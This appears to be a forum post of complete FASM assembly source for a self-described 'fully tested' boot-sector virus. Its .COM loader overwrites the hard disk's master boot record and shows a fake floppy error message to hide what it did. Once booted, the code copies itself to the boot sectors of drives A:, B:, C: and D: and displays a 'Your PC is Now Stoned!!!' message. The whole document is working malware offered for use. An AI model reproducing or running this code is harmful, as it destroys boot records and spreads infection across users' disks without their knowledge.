;======================================================
;The Wow.C4 Virus Version 2.0
;Note: Requires int 13h
;by MBR_TSR
;Assemble with FASM
;* .Com file copies 512 byte virus to C:\ boot sector
;* Boot to C:\ writes virus to A: B: C: and D:
;Fully tested. A little slow.
;Acts a little weird waiting for key, little slow.
;======================================================
;.Com file loader
Org 0x0100
push cs
push cs
pop ds
pop es
;------------------------------------------------------
mov ah, 3 ;write
mov al, 1 ;# of sectors
mov ch, 0 ;Cylinder
mov cl, 1 ;Start Sector
mov dh, 0 ;Head
mov dl, 80h ;drive#
mov bx, Start ;Buff
int 13h ;disk
;------------------------------------------------------
push cs
pop ds
;fake message
mov si, FirstMsg
call ShowStrCom
mov ah, 0
int 0x16
mov ah, 0x4C
int 0x21
;------------------------------------------------------
ShowStrCom:
lodsb
cmp al, 0
je OkayBaby
mov ah, 0x0E
mov bh, 0x00
int 0x10
jmp ShowStrCom
OkayBaby:
ret
;------------------------------------------------------
FirstMsg db "Cannot read from floppy A: or USB.",13,10,7,0
;======================================================
;Boot Sector
Start:
Org 0x7C00
Main:
;------------------------------------------------------
push cs
push cs
pop ds
pop es
mov byte [cs:DriveNumber], 0
call WriteSectorBoot
mov byte [cs:DriveNumber], 1
call WriteSectorBoot
mov byte [cs:DriveNumber], 80h
call WriteSectorBoot
mov byte [cs:DriveNumber], 81h
call WriteSectorBoot
push cs
pop ds
mov si, Stoned
call ShowStr
mov ah, 0
int 0x16
jmp Main
;------------------------------------------------------
;ShowStr
ShowStr:
lodsb
cmp al, 0
je Okay
mov ah, 0x0E
mov bh, 0x00
int 0x10
jmp ShowStr
Okay:
ret
;------------------------------------------------------
WriteSectorBoot:
mov cx, 5 ;retries
Looper:
push cx
push cs
pop es
mov ah, 3 ;write
mov al, 1 ;# of sectors
mov ch, 0 ;Cylinder
mov cl, 1 ;Start Sector
mov dh, 0 ;Head
mov dl, byte [cs:DriveNumber]
mov bx, Main ;Buff
int 13h ;disk
pop cx
jnc WereOut
loop Looper
WereOut:
ret
;------------------------------------------------------
DriveNumber db 0
Stoned db "Your PC is Now Stoned!!!",13,10
db "Insert Disk I Can Write to...",13,10,7,0
rb Main+512-2-$
dw 0xAA55
;======================================================
Edit by revolution: Added code tags